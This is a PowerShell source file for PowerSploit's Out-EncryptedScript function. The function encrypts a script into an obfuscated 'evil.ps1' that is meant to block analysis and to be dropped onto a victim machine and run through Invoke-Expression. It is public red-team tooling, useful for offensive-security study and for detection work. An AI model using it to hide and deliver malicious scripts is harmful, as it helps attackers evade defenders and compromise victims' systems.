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function Out-EncryptedScript
{
<#
.SYNOPSIS
Encrypts text files/scripts.
PowerSploit Function: Out-EncryptedScript
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Out-EncryptedScript will encrypt a script (or any text file for that
matter) and output the results to a minimally obfuscated script -
evil.ps1 by default.
.PARAMETER ScriptPath
Path to this script
.PARAMETER Password
Password to encrypt/decrypt the script
.PARAMETER Salt
Salt value for encryption/decryption. This can be any string value.
.PARAMETER InitializationVector
Specifies a 16-character the initialization vector to be used. This
is randomly generated by default.
.EXAMPLE
C:\PS> Out-EncryptedScript .\Naughty-Script.ps1 password salty
Description
-----------
Encrypt the contents of this file with a password and salt. This will
make analysis of the script impossible without the correct password
and salt combination. This command will generate evil.ps1 that can
dropped onto the victim machine. It only consists of a decryption
function 'de' and the base64-encoded ciphertext.
.EXAMPLE
C:\PS> [String] $cmd = Get-Content .\evil.ps1
C:\PS> Invoke-Expression $cmd
C:\PS> $decrypted = de password salt
C:\PS> Invoke-Expression $decrypted
Description
-----------
This series of instructions assumes you've already encrypted a script
and named it evil.ps1. The contents are then decrypted and the
unencrypted script is called via Invoke-Expression
.NOTES
This command can be used to encrypt any text-based file/script
#>
[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$ScriptPath,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$Password,
[Parameter(Position = 2, Mandatory = $True)]
[String]
$Salt,
[Parameter(Position = 3)]
[ValidateLength(16, 16)]
[String]
$InitializationVector = ((1..16 | % {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join ''),
[Parameter(Position = 4)]
[String]
$FilePath = '.\evil.ps1'
)
$AsciiEncoder = New-Object System.Text.ASCIIEncoding
$ivBytes = $AsciiEncoder.GetBytes($InitializationVector)
# While this can be used to encrypt any file, it's primarily designed to encrypt itself.
[Byte[]] $scriptBytes = Get-Content -Encoding Byte -ReadCount 0 -Path $ScriptPath
$DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($Password, $AsciiEncoder.GetBytes($Salt), "SHA1", 2)
$Key = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
$Key.Mode = [System.Security.Cryptography.CipherMode]::CBC
[Byte[]] $KeyBytes = $DerivedPass.GetBytes(16)
$Encryptor = $Key.CreateEncryptor($KeyBytes, $ivBytes)
$MemStream = New-Object System.IO.MemoryStream
$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($MemStream, $Encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$CryptoStream.Write($scriptBytes, 0, $scriptBytes.Length)
$CryptoStream.FlushFinalBlock()
$CipherTextBytes = $MemStream.ToArray()
$MemStream.Close()
$CryptoStream.Close()
$Key.Clear()
$Cipher = [Convert]::ToBase64String($CipherTextBytes)
# Generate encrypted PS1 file. All that will be included is the base64-encoded ciphertext and a slightly 'obfuscated' decrypt function
$Output = @"
function de([String] `$b, [String] `$c)
{
`$a = "$Cipher";
`$encoding = New-Object System.Text.ASCIIEncoding;
`$dd = `$encoding.GetBytes("$InitializationVector");
`$aa = [Convert]::FromBase64String(`$a);
`$derivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes(`$b, `$encoding.GetBytes(`$c), "SHA1", 2);
[Byte[]] `$e = `$derivedPass.GetBytes(16);
`$f = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;
`$f.Mode = [System.Security.Cryptography.CipherMode]::CBC;
[Byte[]] `$h = New-Object Byte[](`$aa.Length);
`$g = `$f.CreateDecryptor(`$e, `$dd);
`$i = New-Object System.IO.MemoryStream(`$aa, `$True);
`$j = New-Object System.Security.Cryptography.CryptoStream(`$i, `$g, [System.Security.Cryptography.CryptoStreamMode]::Read);
`$r = `$j.Read(`$h, 0, `$h.Length);
`$i.Close();
`$j.Close();
`$f.Clear();
if ((`$h.Length -gt 3) -and (`$h[0] -eq 0xEF) -and (`$h[1] -eq 0xBB) -and (`$h[2] -eq 0xBF)) { `$h = `$h[3..(`$h.Length-1)]; }
return `$encoding.GetString(`$h).TrimEnd([Char] 0);
}
"@
# Output decrypt function and ciphertext to evil.ps1
Out-File -InputObject $Output -Encoding ASCII $FilePath
Write-Verbose "Encrypted PS1 file saved to: $(Resolve-Path $FilePath)"
}
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